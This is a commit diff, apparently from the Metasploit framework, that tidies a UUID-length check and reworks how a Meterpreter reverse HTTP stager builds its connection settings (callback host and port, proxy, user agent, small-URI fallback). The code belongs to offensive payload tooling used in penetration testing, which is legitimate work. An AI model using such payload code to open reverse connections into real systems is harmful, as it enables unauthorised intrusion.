File tree Expand file tree Collapse file tree 2 files changed +5
-3
lines changed Expand file tree Collapse file tree 2 files changed +5
-3
lines changed Original file line number Diff line number Diff line change @@ -36,7 +36,7 @@ def generate_uri_uuid_mode(mode,len=nil)
36
36
# The URI length may not have room for an embedded UUID
37
37
if len && len < URI_CHECKSUM_UUID_MIN_LEN
38
38
# Throw an error if the user set a seed, but there is no room for it
39
- if datastore [ 'PayloadUUIDSeed' ] . to_s . length > 0 ||datastore [ 'PayloadUUIDRaw' ] . to_s . length > 0
39
+ if datastore [ 'PayloadUUIDSeed' ] . to_s . length > 0 || datastore [ 'PayloadUUIDRaw' ] . to_s . length > 0
40
40
raise ArgumentError , "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID"
41
41
end
42
42
return "/" + generate_uri_checksum ( sum , len , prefix = "" )
Original file line number Diff line number Diff line change @@ -46,20 +46,22 @@ def generate(opts={})
46
46
ssl : opts [ :ssl ] || false ,
47
47
host : datastore [ 'LHOST' ] ,
48
48
port : datastore [ 'LPORT' ] ,
49
- url : generate_small_uri ,
50
49
retry_count : datastore [ 'StagerRetryCount' ]
51
50
}
52
51
53
52
# Add extra options if we have enough space
54
53
unless self . available_space . nil? || required_space > self . available_space
55
- conf [ :url ] = generate_uri
54
+
56
55
conf [ :exitfunk ] = datastore [ 'EXITFUNC' ]
57
56
conf [ :ua ] = datastore [ 'MeterpreterUserAgent' ]
58
57
conf [ :proxy_host ] = datastore [ 'PayloadProxyHost' ]
59
58
conf [ :proxy_port ] = datastore [ 'PayloadProxyPort' ]
60
59
conf [ :proxy_user ] = datastore [ 'PayloadProxyUser' ]
61
60
conf [ :proxy_pass ] = datastore [ 'PayloadProxyPass' ]
62
61
conf [ :proxy_type ] = datastore [ 'PayloadProxyType' ]
62
+ else
63
+ # Otherwise default to small URIs
64
+ conf [ :url ] = generate_small_uri
63
65
end
64
66
65
67
generate_reverse_http ( conf )
You can’t perform that action at this time.
0 commit comments